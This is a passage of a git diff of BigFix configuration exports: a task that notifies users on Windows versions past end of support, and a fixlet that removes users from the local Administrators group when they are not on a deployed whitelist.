-  Imported : 2018-04-13T08:19:05
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>End of Support - Unsupported Windows OS</Title>
-    <Description><![CDATA[<P>This task is designed to notify the users of any workstations with unsupported Operating Systems.&nbsp; The "continue if" line is designed to prevent repeat execution more than once per day, but you can change that time if that is your preference.</P>
-<P><STRONG><U>Please be sure to set "Users" tab to "Run when at least one of the selected users is logged on, and only display the user interface to those users" and "Local users"</U></STRONG></P>
-<P>Windows&nbsp;Lifecycle Fact Sheet: <A href="https://support.microsoft.com/en-us/help/13853/windows-lifecycle-fact-sheet">https://support.microsoft.com/en-us/help/13853/windows-lifecycle-fact-sheet</A>, Some additional server dates excluding 2016: <A href="https://support.microsoft.com/en-us/lifecycle/search/1163">https://support.microsoft.com/en-us/lifecycle/search/1163</A></P>
-<P><A href="https://docs.google.com/spreadsheets/d/1YfC_L_O1M5GM_msyZHZI_GETogTJ3M0DOW2wPOcoobA/edit?usp=sharing">Google Docs: Reference and Relevance Worksheet</A></P>
-<P>Windows 2000, XP, Vista - All support has ended</P>
-<P>Windows Server 2008 - Standard is EOS, SP2 and R2 SP1 extended support ends Tue January 14 2020</P>
-<P>Windows 7 - Mainstream support ended, service pack 1 extended support ends Tue January 14 2020</P>
-<P>Windows 8 - Mainstream support ended, 8.1 requires Update 1 (KB2919355) for support, 8.1 Update 1 extended support ends Tue January 10 2023</P>
-<P>Windows 10 - Mainstream (1507, 1511) support ended.&nbsp; 1607 end of support on&nbsp;Tue April 10 2018.&nbsp;&nbsp;1703 end of support on&nbsp;Tue&nbsp;Oct&nbsp;9 2018.&nbsp; 1709 end of support on&nbsp;Tue&nbsp;April&nbsp;9 2019.</P>
-<P>NOTE: <FONT size=2>value </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"ReleaseID"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> key </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> native registry may be a better way of retrieving OS version numbers.&nbsp; Revised to this method.&nbsp; LTSB completely excluded at this time.&nbsp; </FONT><FONT size=2>Enterprise and Educational is included with their 6 month extensions set to the 6 month later Patch Tuesday.</FONT></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>if (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry then (NOT (value &quot;Productname&quot; of it as string as lowercase contains &quot;ltsb&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) else true</Relevance>
-    <Relevance><![CDATA[(version of operating system < "6.1.7601" /* All Windows before Windows 7 SP1 */ AND NOT (name of it contains "Win2008") of operating system /* Exclude Server 2008 & R2 */) OR (if (name of it contains "Win2008" /* Server 2008 variants */) of operating system then (((((name of it = "Win2008R2" AND service pack major version of it = 1) OR (name of it = "Win2008" AND service pack major version of it = 2)) AND (date (local time zone) of (now)) > date ("Tue, Jan 14 2020") /* Server 2008 SP2 & R2 SP1 EOS */) of operating system) OR ((name of it does not contain "R2" AND service pack major version of it < 1) of operating system)) else false) OR (if (date (local time zone) of (now)) > date ("Tue, 14 Jan 2020") then (version of operating system = "6.1" AND (name of it contains "Win7") of operating system) else false /* Windows 7 EOS */) OR ((name of it = "Win8") of operating system and (version of operating system > "6.3.9600") /* Windows 8.0 */) OR (if ((name of it = "Win2012R2" OR name of it = "Win8.1") of operating system) then (not exists key ("Package_for_KB2919355~31bf3856ad364e35~amd64~~6.3.1.14"; "Package_for_KB2919355~31bf3856ad364e35~x86~~6.3.1.14") whose (112 = value "CurrentState" of it as integer) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages" of native registry /* Check for mandatory Win 8.1 & Server 2012 Update 2919355 (aka Update 1) */) else if ((name of it = "Win8.1") of operating system AND (date (local time zone) of (now)) > date ("Tue, Jan 10 2023")/* Windows 8.1 EOS */) then true else false) OR (if (NOT ((name of it = "Win2016" /* Exclude Server 2016 */) of operating system) and (name of it = "Win10") of operating system) then (((if (date (local time zone) of (now)) > date ("Tue, 9 Apr 2019") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1709" /* Windows 10 Version 1709 or lower after EOS date */) else if (date (local time zone) of (now)) > date ("Tue, 9 Oct 2018") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1703" /* Windows 10 Version 1703 or lower after EOS date */) else if (date (local time zone) of (now)) > date ("Tue, 10 Apr 2018") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1607" /* Windows 10 Version 1607 or lower after EOS date */) else ((value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <="1511" /* Windows 10 Version 1511 or lower */) OR ((value "CurrentBuild" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry) as string as version <= "15240"))) OR (if (((value "EditionID" of it as string as lowercase contains "educat") of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry) OR ((value "EditionID" of it as string as lowercase contains "enterp") of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry)) then ((if (NOT ((name of it = "Win2016" /* Exclude Server 2016 */) of operating system) and (name of it = "Win10") of operating system) then ((if (date (local time zone) of (now)) > date ("Tue, 8 Oct 2019") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1709" /* Windows 10 Version 1709 Edu/Ent or lower after EOS date */) else if (date (local time zone) of (now)) > date ("Tue, 9 Apr 2019") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1703" /* Windows 10 Version 1703 Edu/Ent or lower after EOS date */) else if (date (local time zone) of (now)) > date ("Tue, 9 Oct 2018") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1607" /* Windows 10 Version 1607 Edu/Ent or lower after EOS date */) else (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <="1511" /* Windows 10 Version 1511 or lower */)) AND (NOT (name of it contains "2016") of operating system) /* Exclude Server 2016 */) else false)) else false)) AND (NOT (name of it contains "2016") of operating system) /* Exclude Server 2016 */) else false)]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-12-14</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 13 Apr 2018 15:09:33 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.&amp;nbsp; Please be sure to set user messages and user mode.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// No action; all prompts should be in messages.
-continue if {(not exists last active time of it or (now - last active time of it) > (1 * day)) of action}]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : End of Support - Unsupported Windows OS
+  ID       : 25452
+  Author   : rdshift
+  Domain   : BESC
+  Imported : 2018-04-13T08:19:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>End of Support - Unsupported Windows OS</Title>
+    <Description><![CDATA[<P>This task is designed to notify the users of any workstations with unsupported Operating Systems.&nbsp; The "continue if" line is designed to prevent repeat execution more than once per day, but you can change that time if that is your preference.</P>
+<P><STRONG><U>Please be sure to set "Users" tab to "Run when at least one of the selected users is logged on, and only display the user interface to those users" and "Local users"</U></STRONG></P>
+<P>Windows&nbsp;Lifecycle Fact Sheet: <A href="https://support.microsoft.com/en-us/help/13853/windows-lifecycle-fact-sheet">https://support.microsoft.com/en-us/help/13853/windows-lifecycle-fact-sheet</A>, Some additional server dates excluding 2016: <A href="https://support.microsoft.com/en-us/lifecycle/search/1163">https://support.microsoft.com/en-us/lifecycle/search/1163</A></P>
+<P><A href="https://docs.google.com/spreadsheets/d/1YfC_L_O1M5GM_msyZHZI_GETogTJ3M0DOW2wPOcoobA/edit?usp=sharing">Google Docs: Reference and Relevance Worksheet</A></P>
+<P>Windows 2000, XP, Vista - All support has ended</P>
+<P>Windows Server 2008 - Standard is EOS, SP2 and R2 SP1 extended support ends Tue January 14 2020</P>
+<P>Windows 7 - Mainstream support ended, service pack 1 extended support ends Tue January 14 2020</P>
+<P>Windows 8 - Mainstream support ended, 8.1 requires Update 1 (KB2919355) for support, 8.1 Update 1 extended support ends Tue January 10 2023</P>
+<P>Windows 10 - Mainstream (1507, 1511) support ended.&nbsp; 1607 end of support on&nbsp;Tue April 10 2018.&nbsp;&nbsp;1703 end of support on&nbsp;Tue&nbsp;Oct&nbsp;9 2018.&nbsp; 1709 end of support on&nbsp;Tue&nbsp;April&nbsp;9 2019.</P>
+<P>NOTE: <FONT size=2>value </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"ReleaseID"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> key </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> native registry may be a better way of retrieving OS version numbers.&nbsp; Revised to this method.&nbsp; LTSB completely excluded at this time.&nbsp; </FONT><FONT size=2>Enterprise and Educational is included with their 6 month extensions set to the 6 month later Patch Tuesday.</FONT></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry then (NOT (value &quot;Productname&quot; of it as string as lowercase contains &quot;ltsb&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) else true</Relevance>
+    <Relevance><![CDATA[(version of operating system < "6.1.7601" /* All Windows before Windows 7 SP1 */ AND NOT (name of it contains "Win2008") of operating system /* Exclude Server 2008 & R2 */) OR (if (name of it contains "Win2008" /* Server 2008 variants */) of operating system then (((((name of it = "Win2008R2" AND service pack major version of it = 1) OR (name of it = "Win2008" AND service pack major version of it = 2)) AND (date (local time zone) of (now)) > date ("Tue, Jan 14 2020") /* Server 2008 SP2 & R2 SP1 EOS */) of operating system) OR ((name of it does not contain "R2" AND service pack major version of it < 1) of operating system)) else false) OR (if (date (local time zone) of (now)) > date ("Tue, 14 Jan 2020") then (version of operating system = "6.1" AND (name of it contains "Win7") of operating system) else false /* Windows 7 EOS */) OR ((name of it = "Win8") of operating system and (version of operating system > "6.3.9600") /* Windows 8.0 */) OR (if ((name of it = "Win2012R2" OR name of it = "Win8.1") of operating system) then (not exists key ("Package_for_KB2919355~31bf3856ad364e35~amd64~~6.3.1.14"; "Package_for_KB2919355~31bf3856ad364e35~x86~~6.3.1.14") whose (112 = value "CurrentState" of it as integer) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages" of native registry /* Check for mandatory Win 8.1 & Server 2012 Update 2919355 (aka Update 1) */) else if ((name of it = "Win8.1") of operating system AND (date (local time zone) of (now)) > date ("Tue, Jan 10 2023")/* Windows 8.1 EOS */) then true else false) OR (if (NOT ((name of it = "Win2016" /* Exclude Server 2016 */) of operating system) and (name of it = "Win10") of operating system) then (((if (date (local time zone) of (now)) > date ("Tue, 9 Apr 2019") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1709" /* Windows 10 Version 1709 or lower after EOS date */) else if (date (local time zone) of (now)) > date ("Tue, 9 Oct 2018") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1703" /* Windows 10 Version 1703 or lower after EOS date */) else if (date (local time zone) of (now)) > date ("Tue, 10 Apr 2018") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1607" /* Windows 10 Version 1607 or lower after EOS date */) else ((value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <="1511" /* Windows 10 Version 1511 or lower */) OR ((value "CurrentBuild" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry) as string as version <= "15240"))) OR (if (((value "EditionID" of it as string as lowercase contains "educat") of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry) OR ((value "EditionID" of it as string as lowercase contains "enterp") of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry)) then ((if (NOT ((name of it = "Win2016" /* Exclude Server 2016 */) of operating system) and (name of it = "Win10") of operating system) then ((if (date (local time zone) of (now)) > date ("Tue, 8 Oct 2019") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1709" /* Windows 10 Version 1709 Edu/Ent or lower after EOS date */) else if (date (local time zone) of (now)) > date ("Tue, 9 Apr 2019") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1703" /* Windows 10 Version 1703 Edu/Ent or lower after EOS date */) else if (date (local time zone) of (now)) > date ("Tue, 9 Oct 2018") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1607" /* Windows 10 Version 1607 Edu/Ent or lower after EOS date */) else (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <="1511" /* Windows 10 Version 1511 or lower */)) AND (NOT (name of it contains "2016") of operating system) /* Exclude Server 2016 */) else false)) else false)) AND (NOT (name of it contains "2016") of operating system) /* Exclude Server 2016 */) else false)]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-12-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 13 Apr 2018 15:09:33 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.&amp;nbsp; Please be sure to set user messages and user mode.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// No action; all prompts should be in messages.
+continue if {(not exists last active time of it or (now - last active time of it) > (1 * day)) of action}]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enforce Admin Users Compliance (25547).bes b/Sites/Windows Management/Fixlets/Fixlets/Enforce Admin Users Compliance (25547).bes
index 5327fea2f..e8fb9e7fa 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Enforce Admin Users Compliance (25547).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enforce Admin Users Compliance (25547).bes	
@@ -1,159 +1,159 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Enforce Admin Users Compliance
-  ID       : 25547
-  Author   : mxc0bbn
-  Domain   : BESC
-  Imported : 2018-09-17T21:35:00
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Enforce Admin Users Compliance</Title>
-    <Description><![CDATA[<P><FONT size=3 face=Arial>This Fixlet removes users from the local "Administrators" group on a computer if they are not listed in a whitelist file deployed using the task:<BR></FONT><FONT size=3 face=Arial><STRONG>"Deploy ComplianceWhitelist File"</STRONG></FONT></P>
-<P><FONT size=3 face=Arial></FONT>&nbsp;</P>
-<P><FONT size=3><FONT face=Arial><STRONG><U>Action 1:<BR></U></STRONG></FONT><FONT face=Arial>Compares&nbsp;users who are&nbsp;Members of the local Administrators group&nbsp;on a computer with a "Compliant Admins" Whitelist file that exists on the&nbsp;client.&nbsp; It then&nbsp;instructs the endpoint to remove any users that are NOT on the&nbsp;Compliance White List from the Local Administrators group.</FONT></FONT></P>
-<P><FONT size=3><STRONG><U>Action 2:<BR></U></STRONG>Prompts for a User ID that is then removed from the local "Administrators" group of the target endpoint.</FONT></P>
-<P><FONT size=3>&nbsp;</FONT></P>
-<P><FONT size=3><FONT color=#ff0000><STRONG>Note:<BR></STRONG></FONT><FONT color=#ff0000><STRONG>1.&nbsp; Before running this task you must create the file "ComplianceWhitelist.txt" on the BES Server in the following directory: </STRONG></FONT></FONT><FONT color=#ff0000 size=3><STRONG>"&lt;BES Server&gt;\wwwrootbes\CustomDownloads\ComplianceWhitelist"<BR>2.&nbsp; The Task "Deploy ComplianceWhitelist File" must be run before this Fixlet will work properly.</STRONG></FONT></P>]]></Description>
-    <Relevance>true</Relevance>
-    <Category>Utility-Manage Windows Admins</Category>
-    <Source>Mike Consuegra</Source>
-    <SourceReleaseDate>2018-09-07</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 18 Sep 2018 04:10:15 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink></PreLink>
-        <Link>Remove</Link>
-        <PostLink>&amp;nbsp;Users based on a pre-defined whitelist</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[///////////////////////////////////
-// TO SET DIFFERENT FILE NAMES AND
-// LOCATIONS CHANGE THE FOLLOWING
-// PARAMETER VALUES
-///////////////////////////////////
-
-parameter "primarywhitelist" = "{(parent folder of regapp "BESClient.exe" as string) & "\ComplianceWhitelist\ComplianceWhitelist.txt"}"
-parameter "backupwhitelist" = "{(((data folder of client) as string) & "\__Global\__Download\actionsite\_listbackup.txt")}"
-parameter "blacklist" = "{(parent folder of regapp "BESClient.exe" as string) & "\ComplianceWhitelist\blacklist.txt"}"
-
-// -END- PARAMETER DECLARATIONS
-
-
-
-// Verify that the whitelist file folder exists in the client directory
-if "{exists folder (parent folder of regapp "BESClient.exe" as string & "\ComplianceWhitelist")}"
-
-	// Delete any old version of the blacklist file
-	delete "{parameter "blacklist"}"
-
-	// Verify that the whitelist file in the ComplianceWhitelist folder exists
-	if {exists file (parameter "primarywhitelist")}
-
-		// Verify that the whitelist file has not been modified by the user
-		// If the hash of the file in the Client folder is the same as the backup file then remove the out-of-compliance admins.
-		// If the file hashes are different (the ELSE condition), copy the backup file to the client folder and remove the out-of-compliance admins.
-
-		if {sha1 of file (parameter "backupwhitelist") = sha1 of file (parameter "primarywhitelist")}
-
-			// Create the list of users that should NOT be in the Administrators Local Group (blacklist.txt)
-			createfile until EOF
-			{concatenation "%0d%0a" of (elements of (set of ((following texts of firsts "\" of unique values of ((members of local group "Administrators") as string) as lowercase)) - set of (unique values of (lines of file (parameter "primarywhitelist")))))}
-			EOF
-
-			move __createfile "{(parameter "blacklist")}"
-
-			// Wait until the blacklist.txt is created
-			pause while {not exists file (parameter "blacklist")}
-
-			// Delete any users that are not supposed to be in the admin group
-			dos for /F "usebackq tokens=*" %A in ("{(parameter "blacklist")}") do net localgroup administrators "%A" /delete
-
-		else
-			delete "{parameter "primarywhitelist"}"
-
-			dos copy /Y "{parameter "backupwhitelist"}" "{parameter "primarywhitelist"}"
-
-			// Create the list of users that should NOT be in the Administrators Local Group (blacklist.txt)
-			createfile until EOF
-			{concatenation "%0d%0a" of (elements of (set of ((following texts of firsts "\" of unique values of ((members of local group "Administrators") as string) as lowercase)) - set of (unique values of (lines of file (parameter "primarywhitelist")))))}
-			EOF
-
-			move __createfile "{(parameter "blacklist")}"
-
-			// Wait until the blacklist.txt is created
-			pause while {not exists file (parameter "blacklist")}
-
-			// Remove unauthorized users from Admin group
-			dos for /F "usebackq tokens=*" %A in ("{(parameter "blacklist")}") do net localgroup administrators "%A" /delete
-
-		endif
-
-	else
-
-		dos copy /Y "{parameter "backupwhitelist"}" "{parameter "primarywhitelist"}"
-
-		// Create the list of users that should NOT be in the Administrators Local Group (blacklist.txt)
-		createfile until EOF
-		{concatenation "%0d%0a" of (elements of (set of ((following texts of firsts "\" of unique values of ((members of local group "Administrators") as string) as lowercase)) - set of (unique values of (lines of file (parameter "primarywhitelist")))))}
-		EOF
-
-		move __createfile "{(parameter "blacklist")}"
-
-
-		// Wait until the blacklist.txt is created
-		pause while {not exists file (parameter "blacklist")}
-
-		// Remove unauthorized users from Admin group
-		dos for /F "usebackq tokens=*" %A in ("{(parameter "blacklist")}") do net localgroup administrators "%A" /delete
-
-	endif
-
-
-else
-
-	// Create the ComplianceWhitelist folder in the client directory and copy the ComplianceWhitelist file from the backup file created by the "Deploy ComplianceWhitelist" task
-	dos mkdir "{(parent folder of regapp "BESClient.exe" as string) & "\ComplianceWhitelist"}"
-
-	dos copy /Y "{parameter "backupwhitelist"}" "{parameter "primarywhitelist"}"
-
-	// Delete any old version of the blacklist file
-	delete "{parameter "blacklist"}"
-
-	// Create the list of users that should NOT be in the Administrators Local Group (blacklist.txt)
-	createfile until EOF
-	{concatenation "%0d%0a" of (elements of (set of ((following texts of firsts "\" of unique values of ((members of local group "Administrators") as string) as lowercase)) - set of (unique values of (lines of file (parameter "primarywhitelist")))))}
-	EOF
-
-	move __createfile "{(parameter "blacklist")}"
-
-	// Wait until the blacklist.txt is created
-	pause while {not exists file (parameter "blacklist")}
-
-	// Remove unauthorized users from Admin group
-	dos for /F "usebackq tokens=*" %A in ("{(parameter "blacklist")}") do net localgroup administrators "%A" /delete
-
-endif]]></ActionScript>
-    </DefaultAction>
-    <Action ID="Action26828">
-      <Description>
-        <PreLink></PreLink>
-        <Link>Remove</Link>
-        <PostLink>&amp;nbsp;the specified User</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Prompt the user for an ID to delete from the Administrators group of every targetted computer
-action parameter query &quot;UserID&quot; with description &quot;Enter the User ID to remove from the local Administrators group of targetted endpoints:&quot;
-
-
-// Remove each user in the &apos;blacklist.txt&apos; file from the Local Admin Group
-dos net localgroup administrators &quot;{parameter &quot;UserID&quot; of action}&quot; /delete</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enforce Admin Users Compliance
+  ID       : 25547
+  Author   : mxc0bbn
+  Domain   : BESC
+  Imported : 2018-09-17T21:35:00
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enforce Admin Users Compliance</Title>
+    <Description><![CDATA[<P><FONT size=3 face=Arial>This Fixlet removes users from the local "Administrators" group on a computer if they are not listed in a whitelist file deployed using the task:<BR></FONT><FONT size=3 face=Arial><STRONG>"Deploy ComplianceWhitelist File"</STRONG></FONT></P>
+<P><FONT size=3 face=Arial></FONT>&nbsp;</P>
+<P><FONT size=3><FONT face=Arial><STRONG><U>Action 1:<BR></U></STRONG></FONT><FONT face=Arial>Compares&nbsp;users who are&nbsp;Members of the local Administrators group&nbsp;on a computer with a "Compliant Admins" Whitelist file that exists on the&nbsp;client.&nbsp; It then&nbsp;instructs the endpoint to remove any users that are NOT on the&nbsp;Compliance White List from the Local Administrators group.</FONT></FONT></P>
+<P><FONT size=3><STRONG><U>Action 2:<BR></U></STRONG>Prompts for a User ID that is then removed from the local "Administrators" group of the target endpoint.</FONT></P>
+<P><FONT size=3>&nbsp;</FONT></P>
+<P><FONT size=3><FONT color=#ff0000><STRONG>Note:<BR></STRONG></FONT><FONT color=#ff0000><STRONG>1.&nbsp; Before running this task you must create the file "ComplianceWhitelist.txt" on the BES Server in the following directory: </STRONG></FONT></FONT><FONT color=#ff0000 size=3><STRONG>"&lt;BES Server&gt;\wwwrootbes\CustomDownloads\ComplianceWhitelist"<BR>2.&nbsp; The Task "Deploy ComplianceWhitelist File" must be run before this Fixlet will work properly.</STRONG></FONT></P>]]></Description>
+    <Relevance>true</Relevance>
+    <Category>Utility-Manage Windows Admins</Category>
+    <Source>Mike Consuegra</Source>
+    <SourceReleaseDate>2018-09-07</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 18 Sep 2018 04:10:15 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Remove</Link>
+        <PostLink>&amp;nbsp;Users based on a pre-defined whitelist</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[///////////////////////////////////
+// TO SET DIFFERENT FILE NAMES AND
+// LOCATIONS CHANGE THE FOLLOWING
+// PARAMETER VALUES
+///////////////////////////////////
+
+parameter "primarywhitelist" = "{(parent folder of regapp "BESClient.exe" as string) & "\ComplianceWhitelist\ComplianceWhitelist.txt"}"
+parameter "backupwhitelist" = "{(((data folder of client) as string) & "\__Global\__Download\actionsite\_listbackup.txt")}"
+parameter "blacklist" = "{(parent folder of regapp "BESClient.exe" as string) & "\ComplianceWhitelist\blacklist.txt"}"
+
+// -END- PARAMETER DECLARATIONS
+
+
+
+// Verify that the whitelist file folder exists in the client directory
+if "{exists folder (parent folder of regapp "BESClient.exe" as string & "\ComplianceWhitelist")}"
+
+	// Delete any old version of the blacklist file
+	delete "{parameter "blacklist"}"
+
+	// Verify that the whitelist file in the ComplianceWhitelist folder exists
+	if {exists file (parameter "primarywhitelist")}
+
+		// Verify that the whitelist file has not been modified by the user
+		// If the hash of the file in the Client folder is the same as the backup file then remove the out-of-compliance admins.
+		// If the file hashes are different (the ELSE condition), copy the backup file to the client folder and remove the out-of-compliance admins.
+
+		if {sha1 of file (parameter "backupwhitelist") = sha1 of file (parameter "primarywhitelist")}
+
+			// Create the list of users that should NOT be in the Administrators Local Group (blacklist.txt)
+			createfile until EOF
+			{concatenation "%0d%0a" of (elements of (set of ((following texts of firsts "\" of unique values of ((members of local group "Administrators") as string) as lowercase)) - set of (unique values of (lines of file (parameter "primarywhitelist")))))}
+			EOF
+
+			move __createfile "{(parameter "blacklist")}"
+
+			// Wait until the blacklist.txt is created
+			pause while {not exists file (parameter "blacklist")}
+
+			// Delete any users that are not supposed to be in the admin group
+			dos for /F "usebackq tokens=*" %A in ("{(parameter "blacklist")}") do net localgroup administrators "%A" /delete
+
+		else
+			delete "{parameter "primarywhitelist"}"
+
+			dos copy /Y "{parameter "backupwhitelist"}" "{parameter "primarywhitelist"}"
+
+			// Create the list of users that should NOT be in the Administrators Local Group (blacklist.txt)
+			createfile until EOF
+			{concatenation "%0d%0a" of (elements of (set of ((following texts of firsts "\" of unique values of ((members of local group "Administrators") as string) as lowercase)) - set of (unique values of (lines of file (parameter "primarywhitelist")))))}
+			EOF
+
+			move __createfile "{(parameter "blacklist")}"
+
+			// Wait until the blacklist.txt is created
+			pause while {not exists file (parameter "blacklist")}
+
+			// Remove unauthorized users from Admin group
+			dos for /F "usebackq tokens=*" %A in ("{(parameter "blacklist")}") do net localgroup administrators "%A" /delete
+
+		endif
+
+	else
+
+		dos copy /Y "{parameter "backupwhitelist"}" "{parameter "primarywhitelist"}"
+
+		// Create the list of users that should NOT be in the Administrators Local Group (blacklist.txt)
+		createfile until EOF
+		{concatenation "%0d%0a" of (elements of (set of ((following texts of firsts "\" of unique values of ((members of local group "Administrators") as string) as lowercase)) - set of (unique values of (lines of file (parameter "primarywhitelist")))))}
+		EOF
+
+		move __createfile "{(parameter "blacklist")}"
+
+
+		// Wait until the blacklist.txt is created
+		pause while {not exists file (parameter "blacklist")}
+
+		// Remove unauthorized users from Admin group
+		dos for /F "usebackq tokens=*" %A in ("{(parameter "blacklist")}") do net localgroup administrators "%A" /delete
+
